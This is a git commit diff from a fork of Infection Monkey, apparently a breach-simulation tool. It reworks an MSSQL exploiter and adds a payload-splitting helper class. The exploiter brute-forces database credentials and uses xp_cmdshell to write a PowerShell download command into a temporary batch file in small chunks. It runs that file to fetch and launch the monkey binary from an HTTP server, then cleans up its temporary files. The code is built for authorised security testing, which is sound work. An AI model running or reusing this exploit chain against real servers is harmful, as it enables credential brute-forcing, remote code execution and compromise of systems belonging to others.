forked from p15670423/monkey
Mssql fixed, payload parsing class added
This commit is contained in:
parent
3ebd7ed02d
commit
8c930fae66
|
@ -1,6 +1,5 @@
|
|||
import logging
|
||||
import os
|
||||
import textwrap
|
||||
from time import sleep
|
||||
|
||||
import pymssql
|
||||
|
@ -11,7 +10,8 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
|
||||
build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
import infection_monkey.utils
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -25,24 +25,31 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Time in seconds to wait between MSSQL queries.
|
||||
QUERY_BUFFER = 0.5
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
|
||||
# Temporary file that saves commands for monkey's download and execution.
|
||||
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||
MAX_XP_CMDSHELL_SIZE = 128
|
||||
TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir"
|
||||
|
||||
EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
|
||||
EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
|
||||
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
|
||||
|
||||
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
|
||||
XP_CMDSHELL_COMMAND_END = "\""
|
||||
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
||||
EXPLOIT_COMMAND_SUFFIX = ">>%(payload_file_path)s"
|
||||
CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s"
|
||||
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
|
||||
"DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
|
||||
"DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')"
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.cursor = None
|
||||
|
||||
def _exploit_host(self):
|
||||
# Brute force to get connection
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
|
||||
if not cursor:
|
||||
if not self.cursor:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
|
||||
|
@ -60,47 +67,76 @@ class MSSQLExploiter(HostExploiter):
|
|||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
dst_path = get_monkey_dest_path(http_path)
|
||||
tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
|
||||
tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
# Create monkey dir.
|
||||
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
# Create dir for payload
|
||||
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
||||
if not self.try_to_run_mssql_command(dir_creation_command):
|
||||
return False
|
||||
|
||||
if not self.create_empty_payload_file(tmp_file_path):
|
||||
return True
|
||||
|
||||
# Form download command
|
||||
download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
|
||||
# Form suffix
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path,
|
||||
'dst_path': dst_path}
|
||||
# Form suffix for appending to temp payload file
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||
suffix=suffix,
|
||||
prefix=prefix)
|
||||
if not self.try_to_run_mssql_command(monkey_download_command):
|
||||
return True
|
||||
self.run_file(tmp_file_path)
|
||||
|
||||
exploit_command = MSSQLCommand(download_command,
|
||||
prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
|
||||
suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
|
||||
# Split command into chunks mssql xp_cmdshell can execute
|
||||
commands = exploit_command.split_into_array_of_smaller_strings()
|
||||
self.add_executed_cmd(monkey_download_command.command)
|
||||
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(' '.join(commands))
|
||||
# Form monkey's command in a file
|
||||
# Clear payload to pass in another command
|
||||
if not self.create_empty_payload_file(tmp_file_path):
|
||||
return True
|
||||
|
||||
# Form monkey's launch command
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||
for part in textwrap.wrap(monkey_args, 40)]
|
||||
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||
commands.extend(monkey_args)
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(commands[-1])
|
||||
suffix = ">>%s" % tmp_file_path
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix)
|
||||
if not self.try_to_run_mssql_command(monkey_launch_command):
|
||||
return True
|
||||
self.run_file(tmp_file_path)
|
||||
|
||||
# Remove temporary dir we stored payload at
|
||||
if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower():
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path)
|
||||
self.try_to_run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
||||
self.try_to_run_mssql_command(tmp_dir_removal_command)
|
||||
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def run_file(cursor, file_path):
|
||||
command = ["exec xp_cmdshell \"%s\"" % file_path]
|
||||
return MSSQLExploiter.execute_command(cursor, command)
|
||||
def run_file(self, file_path):
|
||||
file_running_command = MSSQLLimitedSizePayload(file_path)
|
||||
return self.try_to_run_mssql_command(file_running_command)
|
||||
|
||||
def create_empty_payload_file(self, file_path):
|
||||
# Create payload file
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path}
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
return self.try_to_run_mssql_command(tmp_file_creation_command)
|
||||
|
||||
def try_to_run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
LOG.error("Couldn't execute MSSQL because payload was too long")
|
||||
return False
|
||||
return MSSQLExploiter.execute_commands(self.cursor, array_of_commands)
|
||||
|
||||
@staticmethod
|
||||
def execute_command(cursor, cmds):
|
||||
def execute_commands(cursor, cmds):
|
||||
"""
|
||||
Executes commands on MSSQL server
|
||||
:param cursor: MSSQL connection
|
||||
|
@ -154,30 +190,9 @@ class MSSQLExploiter(HostExploiter):
|
|||
return None
|
||||
|
||||
|
||||
class MSSQLCommand(object):
|
||||
|
||||
def __init__(self, command, max_length, prefix="", suffix=""):
|
||||
self.command = command
|
||||
self.max_length = max_length
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_full_command(self, command):
|
||||
return "{}{}{}".format(self.prefix, command, self.suffix)
|
||||
|
||||
def split_into_array_of_smaller_strings(self):
|
||||
remaining_command_to_split = self.command
|
||||
commands = []
|
||||
while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
|
||||
command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
|
||||
commands.append(self.get_full_command(command_of_max_len))
|
||||
if remaining_command_to_split:
|
||||
commands.append(remaining_command_to_split)
|
||||
return commands
|
||||
|
||||
def split_at_max_length(self, command):
|
||||
substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
|
||||
return self.get_full_command(command[0:substring_size]), command[substring_size:]
|
||||
|
||||
def command_is_too_long(self, command):
|
||||
return len(command)+len(self.prefix)+len(self.suffix) > self.max_length
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
|
||||
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||
|
|
|
@ -0,0 +1,63 @@
|
|||
import logging
|
||||
import textwrap
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Payload(object):
|
||||
"""
|
||||
Class for defining and parsing a payload (commands with prefixes/suffixes)
|
||||
"""
|
||||
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
self.command = command
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_full_payload(self, command=""):
|
||||
if not command:
|
||||
command = self.command
|
||||
return "{}{}{}".format(self.prefix, command, self.suffix)
|
||||
|
||||
|
||||
class LimitedSizePayload(Payload):
|
||||
"""
|
||||
Class for defining and parsing commands/payloads
|
||||
"""
|
||||
|
||||
def __init__(self, command, max_length, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param max_length: max length that payload(prefix + command + suffix) can have
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
|
||||
self.max_length = max_length
|
||||
|
||||
def is_suffix_and_prefix_too_long(self):
|
||||
return self.payload_is_too_long(self.suffix + self.prefix)
|
||||
|
||||
def split_into_array_of_smaller_payloads(self):
|
||||
if self.is_suffix_and_prefix_too_long():
|
||||
LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already "
|
||||
"exceeds required length of command.")
|
||||
return False
|
||||
elif self.command == "":
|
||||
return [self.prefix+self.suffix]
|
||||
|
||||
commands = [self.get_full_payload(part)
|
||||
for part
|
||||
in textwrap.wrap(self.command, self.get_max_sub_payload_length())]
|
||||
return commands
|
||||
|
||||
def get_max_sub_payload_length(self):
|
||||
return self.max_length - len(self.prefix) - len(self.suffix) - 1
|
||||
|
||||
def payload_is_too_long(self, command):
|
||||
return len(command) > self.max_length
|
Loading…
Reference in New Issue